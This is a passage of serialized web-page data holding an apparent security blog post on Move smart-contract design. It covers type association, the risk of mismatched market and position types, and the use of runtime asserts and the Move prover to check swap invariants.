the available `Coin`.\n",{"type":24,"tag":90,"props":9263,"children":9264},{"class":92,"line":258},[9265,9270,9274,9278,9282,9287],{"type":24,"tag":90,"props":9266,"children":9267},{"style":136},[9268],{"type":29,"value":9269}," underlying_coin",{"type":24,"tag":90,"props":9271,"children":9272},{"style":120},[9273],{"type":29,"value":78},{"type":24,"tag":90,"props":9275,"children":9276},{"style":146},[9277],{"type":29,"value":8188},{"type":24,"tag":90,"props":9279,"children":9280},{"style":114},[9281],{"type":29,"value":1575},{"type":24,"tag":90,"props":9283,"children":9284},{"style":146},[9285],{"type":29,"value":9286},"Coin0",{"type":24,"tag":90,"props":9288,"children":9289},{"style":114},[9290],{"type":29,"value":8523},{"type":24,"tag":90,"props":9292,"children":9293},{"class":92,"line":272},[9294],{"type":24,"tag":90,"props":9295,"children":9296},{"style":252},[9297],{"type":29,"value":9298}," /// Stores the LP `Coin` that act as collateral.\n",{"type":24,"tag":90,"props":9300,"children":9301},{"class":92,"line":281},[9302,9307,9311,9315,9319,9323,9327,9331],{"type":24,"tag":90,"props":9303,"children":9304},{"style":136},[9305],{"type":29,"value":9306}," collateralised_lp_coin",{"type":24,"tag":90,"props":9308,"children":9309},{"style":120},[9310],{"type":29,"value":78},{"type":24,"tag":90,"props":9312,"children":9313},{"style":146},[9314],{"type":29,"value":8188},{"type":24,"tag":90,"props":9316,"children":9317},{"style":114},[9318],{"type":29,"value":1575},{"type":24,"tag":90,"props":9320,"children":9321},{"style":146},[9322],{"type":29,"value":8720},{"type":24,"tag":90,"props":9324,"children":9325},{"style":114},[9326],{"type":29,"value":1575},{"type":24,"tag":90,"props":9328,"children":9329},{"style":146},[9330],{"type":29,"value":9286},{"type":24,"tag":90,"props":9332,"children":9333},{"style":114},[9334],{"type":29,"value":9335},">>,\n",{"type":24,"tag":90,"props":9337,"children":9338},{"class":92,"line":384},[9339],{"type":24,"tag":90,"props":9340,"children":9341},{"style":252},[9342],{"type":29,"value":9343}," /// Mint capability for LP Coin.\n",{"type":24,"tag":90,"props":9345,"children":9346},{"class":92,"line":420},[9347,9352,9356,9361,9365,9369,9373,9377],{"type":24,"tag":90,"props":9348,"children":9349},{"style":136},[9350],{"type":29,"value":9351}," mint_capability",{"type":24,"tag":90,"props":9353,"children":9354},{"style":120},[9355],{"type":29,"value":78},{"type":24,"tag":90,"props":9357,"children":9358},{"style":146},[9359],{"type":29,"value":9360}," MintCapability",{"type":24,"tag":90,"props":9362,"children":9363},{"style":114},[9364],{"type":29,"value":1575},{"type":24,"tag":90,"props":9366,"children":9367},{"style":146},[9368],{"type":29,"value":8720},{"type":24,"tag":90,"props":9370,"children":9371},{"style":114},[9372],{"type":29,"value":1575},{"type":24,"tag":90,"props":9374,"children":9375},{"style":146},[9376],{"type":29,"value":9286},{"type":24,"tag":90,"props":9378,"children":9379},{"style":114},[9380],{"type":29,"value":9335},{"type":24,"tag":90,"props":9382,"children":9383},{"class":92,"line":428},[9384],{"type":24,"tag":90,"props":9385,"children":9386},{"style":252},[9387],{"type":29,"value":9388}," /// Burn capability for LP Coin.\n",{"type":24,"tag":90,"props":9390,"children":9391},{"class":92,"line":437},[9392,9397,9401,9406,9410,9414,9418,9422],{"type":24,"tag":90,"props":9393,"children":9394},{"style":136},[9395],{"type":29,"value":9396}," burn_capability",{"type":24,"tag":90,"props":9398,"children":9399},{"style":120},[9400],{"type":29,"value":78},{"type":24,"tag":90,"props":9402,"children":9403},{"style":146},[9404],{"type":29,"value":9405}," BurnCapability",{"type":24,"tag":90,"props":9407,"children":9408},{"style":114},[9409],{"type":29,"value":1575},{"type":24,"tag":90,"props":9411,"children":9412},{"style":146},[9413],{"type":29,"value":8720},{"type":24,"tag":90,"props":9415,"children":9416},{"style":114},[9417],{"type":29,"value":1575},{"type":24,"tag":90,"props":9419,"children":9420},{"style":146},[9421],{"type":29,"value":9286},{"type":24,"tag":90,"props":9423,"children":9424},{"style":114},[9425],{"type":29,"value":9335},{"type":24,"tag":90,"props":9427,"children":9428},{"class":92,"line":574},[9429],{"type":24,"tag":90,"props":9430,"children":9431},{"emptyLinePlaceholder":16},[9432],{"type":29,"value":245},{"type":24,"tag":90,"props":9434,"children":9435},{"class":92,"line":606},[9436],{"type":24,"tag":90,"props":9437,"children":9438},{"style":252},[9439],{"type":29,"value":8981},{"type":24,"tag":90,"props":9441,"children":9442},{"class":92,"line":615},[9443],{"type":24,"tag":90,"props":9444,"children":9445},{"style":114},[9446],{"type":29,"value":8257},{"type":24,"tag":25,"props":9448,"children":9449},{},[9450,9452,9457],{"type":29,"value":9451},"When creating a ",{"type":24,"tag":32,"props":9453,"children":9455},{"className":9454},[],[9456],{"type":29,"value":9187},{"type":29,"value":9458},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":24,"tag":80,"props":9460,"children":9462},{"className":82,"code":9461,"language":84,"meta":7,"style":7}," public(friend) fun create\u003CCoin0>(\n lp_store: &signer,\n // ...\n ) acquires Reserves {\n lp::assert_is_lp_store(signer::address_of(lp_store));\n\n // ...\n\n move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n // ...\n });\n",[9463],{"type":24,"tag":32,"props":9464,"children":9465},{"__ignoreMap":7},[9466,9508,9533,9540,9561,9606,9613,9620,9627,9663,9670],{"type":24,"tag":90,"props":9467,"children":9468},{"class":92,"line":93},[9469,9474,9478,9483,9487,9491,9496,9500,9504],{"type":24,"tag":90,"props":9470,"children":9471},{"style":108},[9472],{"type":29,"value":9473}," public",{"type":24,"tag":90,"props":9475,"children":9476},{"style":114},[9477],{"type":29,"value":117},{"type":24,"tag":90,"props":9479,"children":9480},{"style":136},[9481],{"type":29,"value":9482},"friend",{"type":24,"tag":90,"props":9484,"children":9485},{"style":114},[9486],{"type":29,"value":172},{"type":24,"tag":90,"props":9488,"children":9489},{"style":136},[9490],{"type":29,"value":3203},{"type":24,"tag":90,"props":9492,"children":9493},{"style":136},[9494],{"type":29,"value":9495}," create",{"type":24,"tag":90,"props":9497,"children":9498},{"style":114},[9499],{"type":29,"value":1575},{"type":24,"tag":90,"props":9501,"children":9502},{"style":146},[9503],{"type":29,"value":9286},{"type":24,"tag":90,"props":9505,"children":9506},{"style":114},[9507],{"type":29,"value":8973},{"type":24,"tag":90,"props":9509,"children":9510},{"class":92,"line":200},[9511,9516,9520,9524,9529],{"type":24,"tag":90,"props":9512,"children":9513},{"style":136},[9514],{"type":29,"value":9515}," lp_store",{"type":24,"tag":90,"props":9517,"children":9518},{"style":120},[9519],{"type":29,"value":78},{"type":24,"tag":90,"props":9521,"children":9522},{"style":120},[9523],{"type":29,"value":455},{"type":24,"tag":90,"props":9525,"children":9526},{"style":136},[9527],{"type":29,"value":9528},"signer",{"type":24,"tag":90,"props":9530,"children":9531},{"style":114},[9532],{"type":29,"value":748},{"type":24,"tag":90,"props":9534,"children":9535},{"class":92,"line":239},[9536],{"type":24,"tag":90,"props":9537,"children":9538},{"style":252},[9539],{"type":29,"value":8981},{"type":24,"tag":90,"props":9541,"children":9542},{"class":92,"line":248},[9543,9548,9552,9557],{"type":24,"tag":90,"props":9544,"children":9545},{"style":114},[9546],{"type":29,"value":9547}," ) ",{"type":24,"tag":90,"props":9549,"children":9550},{"style":136},[9551],{"type":29,"value":8729},{"type":24,"tag":90,"props":9553,"children":9554},{"style":146},[9555],{"type":29,"value":9556}," Reserves",{"type":24,"tag":90,"props":9558,"children":9559},{"style":114},[9560],{"type":29,"value":269},{"type":24,"tag":90,"props":9562,"children":9563},{"class":92,"line":258},[9564,9569,9573,9578,9583,9587,9592,9596,9601],{"type":24,"tag":90,"props":9565,"children":9566},{"style":114},[9567],{"type":29,"value":9568}," lp",{"type":24,"tag":90,"props":9570,"children":9571},{"style":120},[9572],{"type":29,"value":1211},{"type":24,"tag":90,"props":9574,"children":9575},{"style":108},[9576],{"type":29,"value":9577},"assert_is_lp_store",{"type":24,"tag":90,"props":9579,"children":9580},{"style":114},[9581],{"type":29,"value":9582},"(signer",{"type":24,"tag":90,"props":9584,"children":9585},{"style":120},[9586],{"type":29,"value":1211},{"type":24,"tag":90,"props":9588,"children":9589},{"style":108},[9590],{"type":29,"value":9591},"address_of",{"type":24,"tag":90,"props":9593,"children":9594},{"style":114},[9595],{"type":29,"value":117},{"type":24,"tag":90,"props":9597,"children":9598},{"style":136},[9599],{"type":29,"value":9600},"lp_store",{"type":24,"tag":90,"props":9602,"children":9603},{"style":114},[9604],{"type":29,"value":9605},"));\n",{"type":24,"tag":90,"props":9607,"children":9608},{"class":92,"line":272},[9609],{"type":24,"tag":90,"props":9610,"children":9611},{"emptyLinePlaceholder":16},[9612],{"type":29,"value":245},{"type":24,"tag":90,"props":9614,"children":9615},{"class":92,"line":281},[9616],{"type":24,"tag":90,"props":9617,"children":9618},{"style":252},[9619],{"type":29,"value":8981},{"type":24,"tag":90,"props":9621,"children":9622},{"class":92,"line":384},[9623],{"type":24,"tag":90,"props":9624,"children":9625},{"emptyLinePlaceholder":16},[9626],{"type":29,"value":245},{"type":24,"tag":90,"props":9628,"children":9629},{"class":92,"line":420},[9630,9635,9639,9643,9647,9651,9655,9659],{"type":24,"tag":90,"props":9631,"children":9632},{"style":108},[9633],{"type":29,"value":9634}," move_to",{"type":24,"tag":90,"props":9636,"children":9637},{"style":114},[9638],{"type":29,"value":117},{"type":24,"tag":90,"props":9640,"children":9641},{"style":136},[9642],{"type":29,"value":9600},{"type":24,"tag":90,"props":9644,"children":9645},{"style":114},[9646],{"type":29,"value":133},{"type":24,"tag":90,"props":9648,"children":9649},{"style":146},[9650],{"type":29,"value":9187},{"type":24,"tag":90,"props":9652,"children":9653},{"style":114},[9654],{"type":29,"value":1575},{"type":24,"tag":90,"props":9656,"children":9657},{"style":146},[9658],{"type":29,"value":9286},{"type":24,"tag":90,"props":9660,"children":9661},{"style":114},[9662],{"type":29,"value":197},{"type":24,"tag":90,"props":9664,"children":9665},{"class":92,"line":428},[9666],{"type":24,"tag":90,"props":9667,"children":9668},{"style":252},[9669],{"type":29,"value":8560},{"type":24,"tag":90,"props":9671,"children":9672},{"class":92,"line":437},[9673],{"type":24,"tag":90,"props":9674,"children":9675},{"style":114},[9676],{"type":29,"value":9677}," });\n",{"type":24,"tag":25,"props":9679,"children":9680},{},[9681],{"type":29,"value":9682},"In both these instances, type association only works because we create exactly one instance per type.",{"type":24,"tag":25,"props":9684,"children":9685},{},[9686,9688,9694,9696,9702,9704,9709],{"type":29,"value":9687},"On the other hand, consider if you have a ",{"type":24,"tag":32,"props":9689,"children":9691},{"className":9690},[],[9692],{"type":29,"value":9693},"Position\u003CT>",{"type":29,"value":9695}," and a ",{"type":24,"tag":32,"props":9697,"children":9699},{"className":9698},[],[9700],{"type":29,"value":9701},"Market\u003CT>",{"type":29,"value":9703}," where ",{"type":24,"tag":32,"props":9705,"children":9707},{"className":9706},[],[9708],{"type":29,"value":1960},{"type":29,"value":9710}," is the coin type.",{"type":24,"tag":80,"props":9712,"children":9714},{"className":82,"code":9713,"language":84,"meta":7,"style":7}," struct Market\u003Cphantom T> {\n reserves: Coin\u003CT>,\n // ...\n }\n\n struct Position\u003Cphantom T> {\n amount: u64,\n // ...\n }\n",[9715],{"type":24,"tag":32,"props":9716,"children":9717},{"__ignoreMap":7},[9718,9746,9774,9781,9788,9795,9823,9843,9850],{"type":24,"tag":90,"props":9719,"children":9720},{"class":92,"line":93},[9721,9725,9730,9734,9738,9742],{"type":24,"tag":90,"props":9722,"children":9723},{"style":97},[9724],{"type":29,"value":8437},{"type":24,"tag":90,"props":9726,"children":9727},{"style":146},[9728],{"type":29,"value":9729}," Market",{"type":24,"tag":90,"props":9731,"children":9732},{"style":114},[9733],{"type":29,"value":1575},{"type":24,"tag":90,"props":9735,"children":9736},{"style":136},[9737],{"type":29,"value":8197},{"type":24,"tag":90,"props":9739,"children":9740},{"style":146},[9741],{"type":29,"value":8304},{"type":24,"tag":90,"props":9743,"children":9744},{"style":114},[9745],{"type":29,"value":197},{"type":24,"tag":90,"props":9747,"children":9748},{"class":92,"line":200},[9749,9754,9758,9762,9766,9770],{"type":24,"tag":90,"props":9750,"children":9751},{"style":136},[9752],{"type":29,"value":9753}," reserves",{"type":24,"tag":90,"props":9755,"children":9756},{"style":120},[9757],{"type":29,"value":78},{"type":24,"tag":90,"props":9759,"children":9760},{"style":146},[9761],{"type":29,"value":8188},{"type":24,"tag":90,"props":9763,"children":9764},{"style":114},[9765],{"type":29,"value":1575},{"type":24,"tag":90,"props":9767,"children":9768},{"style":146},[9769],{"type":29,"value":1960},{"type":24,"tag":90,"props":9771,"children":9772},{"style":114},[9773],{"type":29,"value":8523},{"type":24,"tag":90,"props":9775,"children":9776},{"class":92,"line":239},[9777],{"type":24,"tag":90,"props":9778,"children":9779},{"style":252},[9780],{"type":29,"value":8560},{"type":24,"tag":90,"props":9782,"children":9783},{"class":92,"line":248},[9784],{"type":24,"tag":90,"props":9785,"children":9786},{"style":114},[9787],{"type":29,"value":612},{"type":24,"tag":90,"props":9789,"children":9790},{"class":92,"line":258},[9791],{"type":24,"tag":90,"props":9792,"children":9793},{"emptyLinePlaceholder":16},[9794],{"type":29,"value":245},{"type":24,"tag":90,"props":9796,"children":9797},{"class":92,"line":272},[9798,9802,9807,9811,9815,9819],{"type":24,"tag":90,"props":9799,"children":9800},{"style":97},[9801],{"type":29,"value":8437},{"type":24,"tag":90,"props":9803,"children":9804},{"style":146},[9805],{"type":29,"value":9806}," Position",{"type":24,"tag":90,"props":9808,"children":9809},{"style":114},[9810],{"type":29,"value":1575},{"type":24,"tag":90,"props":9812,"children":9813},{"style":136},[9814],{"type":29,"value":8197},{"type":24,"tag":90,"props":9816,"children":9817},{"style":146},[9818],{"type":29,"value":8304},{"type":24,"tag":90,"props":9820,"children":9821},{"style":114},[9822],{"type":29,"value":197},{"type":24,"tag":90,"props":9824,"children":9825},{"class":92,"line":281},[9826,9831,9835,9839],{"type":24,"tag":90,"props":9827,"children":9828},{"style":136},[9829],{"type":29,"value":9830}," amount",{"type":24,"tag":90,"props":9832,"children":9833},{"style":120},[9834],{"type":29,"value":78},{"type":24,"tag":90,"props":9836,"children":9837},{"style":146},[9838],{"type":29,"value":376},{"type":24,"tag":90,"props":9840,"children":9841},{"style":114},[9842],{"type":29,"value":748},{"type":24,"tag":90,"props":9844,"children":9845},{"class":92,"line":384},[9846],{"type":24,"tag":90,"props":9847,"children":9848},{"style":252},[9849],{"type":29,"value":8560},{"type":24,"tag":90,"props":9851,"children":9852},{"class":92,"line":420},[9853],{"type":24,"tag":90,"props":9854,"children":9855},{"style":114},[9856],{"type":29,"value":612},{"type":24,"tag":25,"props":9858,"children":9859},{},[9860,9862,9867,9869,9874],{"type":29,"value":9861},"If ",{"type":24,"tag":32,"props":9863,"children":9865},{"className":9864},[],[9866],{"type":29,"value":9701},{"type":29,"value":9868}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":24,"tag":32,"props":9870,"children":9872},{"className":9871},[],[9873],{"type":29,"value":1960},{"type":29,"value":9875}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":24,"tag":25,"props":9877,"children":9878},{},[9879],{"type":29,"value":9880},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":24,"tag":80,"props":9882,"children":9884},{"className":82,"code":9883,"language":84,"meta":7,"style":7}," /// Get the price of the token per lamport.\n public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n let oracle = borrow_global_mut\u003COracle>(@oracle);\n let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n &mut oracle.prices,\n type_info,\n decimal::one()\n );\n *price\n }\n",[9885],{"type":24,"tag":32,"props":9886,"children":9887},{"__ignoreMap":7},[9888,9896,9958,10007,10059,10083,10095,10116,10123,10135],{"type":24,"tag":90,"props":9889,"children":9890},{"class":92,"line":93},[9891],{"type":24,"tag":90,"props":9892,"children":9893},{"style":252},[9894],{"type":29,"value":9895}," /// Get the price of the token per lamport.\n",{"type":24,"tag":90,"props":9897,"children":9898},{"class":92,"line":200},[9899,9904,9908,9913,9917,9922,9926,9931,9935,9939,9944,9949,9954],{"type":24,"tag":90,"props":9900,"children":9901},{"style":136},[9902],{"type":29,"value":9903}," public",{"type":24,"tag":90,"props":9905,"children":9906},{"style":136},[9907],{"type":29,"value":8592},{"type":24,"tag":90,"props":9909,"children":9910},{"style":108},[9911],{"type":29,"value":9912}," get_price",{"type":24,"tag":90,"props":9914,"children":9915},{"style":114},[9916],{"type":29,"value":117},{"type":24,"tag":90,"props":9918,"children":9919},{"style":136},[9920],{"type":29,"value":9921},"type_info",{"type":24,"tag":90,"props":9923,"children":9924},{"style":120},[9925],{"type":29,"value":78},{"type":24,"tag":90,"props":9927,"children":9928},{"style":146},[9929],{"type":29,"value":9930}," TypeInfo",{"type":24,"tag":90,"props":9932,"children":9933},{"style":114},[9934],{"type":29,"value":517},{"type":24,"tag":90,"props":9936,"children":9937},{"style":120},[9938],{"type":29,"value":78},{"type":24,"tag":90,"props":9940,"children":9941},{"style":146},[9942],{"type":29,"value":9943}," Decimal",{"type":24,"tag":90,"props":9945,"children":9946},{"style":136},[9947],{"type":29,"value":9948}," acquires",{"type":24,"tag":90,"props":9950,"children":9951},{"style":146},[9952],{"type":29,"value":9953}," Oracle",{"type":24,"tag":90,"props":9955,"children":9956},{"style":114},[9957],{"type":29,"value":269},{"type":24,"tag":90,"props":9959,"children":9960},{"class":92,"line":239},[9961,9965,9970,9974,9979,9983,9988,9993,9998,10003],{"type":24,"tag":90,"props":9962,"children":9963},{"style":97},[9964],{"type":29,"value":287},{"type":24,"tag":90,"props":9966,"children":9967},{"style":136},[9968],{"type":29,"value":9969}," oracle",{"type":24,"tag":90,"props":9971,"children":9972},{"style":120},[9973],{"type":29,"value":216},{"type":24,"tag":90,"props":9975,"children":9976},{"style":136},[9977],{"type":29,"value":9978}," borrow_global_mut",{"type":24,"tag":90,"props":9980,"children":9981},{"style":114},[9982],{"type":29,"value":1575},{"type":24,"tag":90,"props":9984,"children":9985},{"style":146},[9986],{"type":29,"value":9987},"Oracle",{"type":24,"tag":90,"props":9989,"children":9990},{"style":114},[9991],{"type":29,"value":9992},">(",{"type":24,"tag":90,"props":9994,"children":9995},{"style":120},[9996],{"type":29,"value":9997},"@",{"type":24,"tag":90,"props":9999,"children":10000},{"style":136},[10001],{"type":29,"value":10002},"oracle",{"type":24,"tag":90,"props":10004,"children":10005},{"style":114},[10006],{"type":29,"value":571},{"type":24,"tag":90,"props":10008,"children":10009},{"class":92,"line":248},[10010,10014,10019,10023,10028,10032,10037,10041,10046,10050,10055],{"type":24,"tag":90,"props":10011,"children":10012},{"style":97},[10013],{"type":29,"value":287},{"type":24,"tag":90,"props":10015,"children":10016},{"style":136},[10017],{"type":29,"value":10018}," price",{"type":24,"tag":90,"props":10020,"children":10021},{"style":120},[10022],{"type":29,"value":216},{"type":24,"tag":90,"props":10024,"children":10025},{"style":114},[10026],{"type":29,"value":10027}," table",{"type":24,"tag":90,"props":10029,"children":10030},{"style":120},[10031],{"type":29,"value":1211},{"type":24,"tag":90,"props":10033,"children":10034},{"style":136},[10035],{"type":29,"value":10036},"borrow_mut_with_default",{"type":24,"tag":90,"props":10038,"children":10039},{"style":114},[10040],{"type":29,"value":1575},{"type":24,"tag":90,"props":10042,"children":10043},{"style":146},[10044],{"type":29,"value":10045},"TypeInfo",{"type":24,"tag":90,"props":10047,"children":10048},{"style":114},[10049],{"type":29,"value":133},{"type":24,"tag":90,"props":10051,"children":10052},{"style":146},[10053],{"type":29,"value":10054},"Decimal",{"type":24,"tag":90,"props":10056,"children":10057},{"style":114},[10058],{"type":29,"value":8973},{"type":24,"tag":90,"props":10060,"children":10061},{"class":92,"line":258},[10062,10066,10070,10074,10078],{"type":24,"tag":90,"props":10063,"children":10064},{"style":120},[10065],{"type":29,"value":689},{"type":24,"tag":90,"props":10067,"children":10068},{"style":97},[10069],{"type":29,"value":371},{"type":24,"tag":90,"props":10071,"children":10072},{"style":136},[10073],{"type":29,"value":9969},{"type":24,"tag":90,"props":10075,"children":10076},{"style":120},[10077],{"type":29,"value":226},{"type":24,"tag":90,"props":10079,"children":10080},{"style":114},[10081],{"type":29,"value":10082},"prices,\n",{"type":24,"tag":90,"props":10084,"children":10085},{"class":92,"line":272},[10086,10091],{"type":24,"tag":90,"props":10087,"children":10088},{"style":136},[10089],{"type":29,"value":10090}," type_info",{"type":24,"tag":90,"props":10092,"children":10093},{"style":114},[10094],{"type":29,"value":748},{"type":24,"tag":90,"props":10096,"children":10097},{"class":92,"line":281},[10098,10103,10107,10112],{"type":24,"tag":90,"props":10099,"children":10100},{"style":114},[10101],{"type":29,"value":10102}," decimal",{"type":24,"tag":90,"props":10104,"children":10105},{"style":120},[10106],{"type":29,"value":1211},{"type":24,"tag":90,"props":10108,"children":10109},{"style":108},[10110],{"type":29,"value":10111},"one",{"type":24,"tag":90,"props":10113,"children":10114},{"style":114},[10115],{"type":29,"value":2121},{"type":24,"tag":90,"props":10117,"children":10118},{"class":92,"line":384},[10119],{"type":24,"tag":90,"props":10120,"children":10121},{"style":114},[10122],{"type":29,"value":788},{"type":24,"tag":90,"props":10124,"children":10125},{"class":92,"line":420},[10126,10130],{"type":24,"tag":90,"props":10127,"children":10128},{"style":120},[10129],{"type":29,"value":390},{"type":24,"tag":90,"props":10131,"children":10132},{"style":136},[10133],{"type":29,"value":10134},"price\n",{"type":24,"tag":90,"props":10136,"children":10137},{"class":92,"line":428},[10138],{"type":24,"tag":90,"props":10139,"children":10140},{"style":114},[10141],{"type":29,"value":612},{"type":24,"tag":25,"props":10143,"children":10144},{},[10145,10147,10152],{"type":29,"value":10146},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":24,"tag":842,"props":10148,"children":10149},{},[10150],{"type":29,"value":10151},"instance",{"type":29,"value":10153}," of another resource (which is possible in Diem style move).",{"type":24,"tag":25,"props":10155,"children":10156},{},[10157],{"type":29,"value":10158},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":24,"tag":3100,"props":10160,"children":10161},{},[10162,10167],{"type":24,"tag":3104,"props":10163,"children":10164},{},[10165],{"type":29,"value":10166},"Have unique initializers for your resources",{"type":24,"tag":3104,"props":10168,"children":10169},{},[10170],{"type":29,"value":10171},"Associate resources with instances directly",{"type":24,"tag":850,"props":10173,"children":10175},{"id":10174},"formal-verification",[10176],{"type":29,"value":10177},"Formal Verification",{"type":24,"tag":25,"props":10179,"children":10180},{},[10181],{"type":29,"value":10182},"Formal verification is another exciting feature.",{"type":24,"tag":25,"props":10184,"children":10185},{},[10186],{"type":29,"value":10187},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":24,"tag":25,"props":10189,"children":10190},{},[10191,10193,10198],{"type":29,"value":10192},"However, this isn't a silver bullet. The key is figuring out ",{"type":24,"tag":842,"props":10194,"children":10195},{},[10196],{"type":29,"value":10197},"what",{"type":29,"value":10199}," to prove.",{"type":24,"tag":25,"props":10201,"children":10202},{},[10203,10205,10212],{"type":29,"value":10204},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":24,"tag":69,"props":10206,"children":10209},{"href":10207,"rel":10208},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[73],[10210],{"type":29,"value":10211},"Solana AMM rounding issue",{"type":29,"value":10213}," we reported.",{"type":24,"tag":25,"props":10215,"children":10216},{},[10217],{"type":29,"value":10218},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":24,"tag":80,"props":10220,"children":10222},{"className":82,"code":10221,"language":84,"meta":7,"style":7}," let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[10223],{"type":24,"tag":32,"props":10224,"children":10225},{"__ignoreMap":7},[10226,10287],{"type":24,"tag":90,"props":10227,"children":10228},{"class":92,"line":93},[10229,10234,10239,10243,10248,10252,10257,10261,10265,10270,10274,10278,10283],{"type":24,"tag":90,"props":10230,"children":10231},{"style":97},[10232],{"type":29,"value":10233}," let",{"type":24,"tag":90,"props":10235,"children":10236},{"style":136},[10237],{"type":29,"value":10238}," cmp",{"type":24,"tag":90,"props":10240,"children":10241},{"style":120},[10242],{"type":29,"value":216},{"type":24,"tag":90,"props":10244,"children":10245},{"style":114},[10246],{"type":29,"value":10247}," u256",{"type":24,"tag":90,"props":10249,"children":10250},{"style":120},[10251],{"type":29,"value":1211},{"type":24,"tag":90,"props":10253,"children":10254},{"style":108},[10255],{"type":29,"value":10256},"compare",{"type":24,"tag":90,"props":10258,"children":10259},{"style":114},[10260],{"type":29,"value":117},{"type":24,"tag":90,"props":10262,"children":10263},{"style":120},[10264],{"type":29,"value":123},{"type":24,"tag":90,"props":10266,"children":10267},{"style":136},[10268],{"type":29,"value":10269},"lp_value_after_swap_and_fee",{"type":24,"tag":90,"props":10271,"children":10272},{"style":114},[10273],{"type":29,"value":133},{"type":24,"tag":90,"props":10275,"children":10276},{"style":120},[10277],{"type":29,"value":123},{"type":24,"tag":90,"props":10279,"children":10280},{"style":136},[10281],{"type":29,"value":10282},"lp_value_before_swap_u256",{"type":24,"tag":90,"props":10284,"children":10285},{"style":114},[10286],{"type":29,"value":571},{"type":24,"tag":90,"props":10288,"children":10289},{"class":92,"line":200},[10290,10295,10299,10304,10308,10313],{"type":24,"tag":90,"props":10291,"children":10292},{"style":108},[10293],{"type":29,"value":10294}," assert!",{"type":24,"tag":90,"props":10296,"children":10297},{"style":114},[10298],{"type":29,"value":117},{"type":24,"tag":90,"props":10300,"children":10301},{"style":136},[10302],{"type":29,"value":10303},"cmp",{"type":24,"tag":90,"props":10305,"children":10306},{"style":120},[10307],{"type":29,"value":2102},{"type":24,"tag":90,"props":10309,"children":10310},{"style":349},[10311],{"type":29,"value":10312}," 2",{"type":24,"tag":90,"props":10314,"children":10315},{"style":114},[10316],{"type":29,"value":10317},", ERR_INCORRECT_SWAP);\n",{"type":24,"tag":25,"props":10319,"children":10320},{},[10321,10323,10328],{"type":29,"value":10322},"The move prover really shines when we're proving relationships ",{"type":24,"tag":842,"props":10324,"children":10325},{},[10326],{"type":29,"value":10327},"between",{"type":29,"value":10329}," functions.",{"type":24,"tag":25,"props":10331,"children":10332},{},[10333,10335,10341],{"type":29,"value":10334},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":24,"tag":32,"props":10336,"children":10338},{"className":10337},[],[10339],{"type":29,"value":10340},"no_free_money_theorem",{"type":29,"value":10342}," in the move repository.",{"type":24,"tag":80,"props":10344,"children":10346},{"className":82,"code":10345,"language":84,"meta":7,"style":7}," // #[test] // TODO: cannot specify the test-only functions\n fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n let share = add_liquidity(coin1_in, coin2_in);\n remove_liquidity(share)\n }\n spec no_free_money_theorem {\n pragma verify=false;\n ensures result_1 \u003C= coin1_in;\n ensures result_2 \u003C= coin2_in;\n }\n",[10347],{"type":24,"tag":32,"props":10348,"children":10349},{"__ignoreMap":7},[10350,10358,10445,10487,10508,10515,10531,10557,10584,10609],{"type":24,"tag":90,"props":10351,"children":10352},{"class":92,"line":93},[10353],{"type":24,"tag":90,"props":10354,"children":10355},{"style":252},[10356],{"type":29,"value":10357}," // #[test] // TODO: cannot specify the test-only functions\n",{"type":24,"tag":90,"props":10359,"children":10360},{"class":92,"line":200},[10361,10365,10370,10374,10379,10383,10387,10391,10396,10400,10404,10408,10412,10416,10420,10424,10428,10432,10436,10441],{"type":24,"tag":90,"props":10362,"children":10363},{"style":136},[10364],{"type":29,"value":8954},{"type":24,"tag":90,"props":10366,"children":10367},{"style":108},[10368],{"type":29,"value":10369}," no_free_money_theorem",{"type":24,"tag":90,"props":10371,"children":10372},{"style":114},[10373],{"type":29,"value":117},{"type":24,"tag":90,"props":10375,"children":10376},{"style":136},[10377],{"type":29,"value":10378},"coin1_in",{"type":24,"tag":90,"props":10380,"children":10381},{"style":120},[10382],{"type":29,"value":78},{"type":24,"tag":90,"props":10384,"children":10385},{"style":146},[10386],{"type":29,"value":376},{"type":24,"tag":90,"props":10388,"children":10389},{"style":114},[10390],{"type":29,"value":133},{"type":24,"tag":90,"props":10392,"children":10393},{"style":136},[10394],{"type":29,"value":10395},"coin2_in",{"type":24,"tag":90,"props":10397,"children":10398},{"style":120},[10399],{"type":29,"value":78},{"type":24,"tag":90,"props":10401,"children":10402},{"style":146},[10403],{"type":29,"value":376},{"type":24,"tag":90,"props":10405,"children":10406},{"style":114},[10407],{"type":29,"value":517},{"type":24,"tag":90,"props":10409,"children":10410},{"style":120},[10411],{"type":29,"value":78},{"type":24,"tag":90,"props":10413,"children":10414},{"style":114},[10415],{"type":29,"value":1151},{"type":24,"tag":90,"props":10417,"children":10418},{"style":146},[10419],{"type":29,"value":1580},{"type":24,"tag":90,"props":10421,"children":10422},{"style":114},[10423],{"type":29,"value":133},{"type":24,"tag":90,"props":10425,"children":10426},{"style":146},[10427],{"type":29,"value":1580},{"type":24,"tag":90,"props":10429,"children":10430},{"style":114},[10431],{"type":29,"value":172},{"type":24,"tag":90,"props":10433,"children":10434},{"style":136},[10435],{"type":29,"value":8729},{"type":24,"tag":90,"props":10437,"children":10438},{"style":146},[10439],{"type":29,"value":10440}," 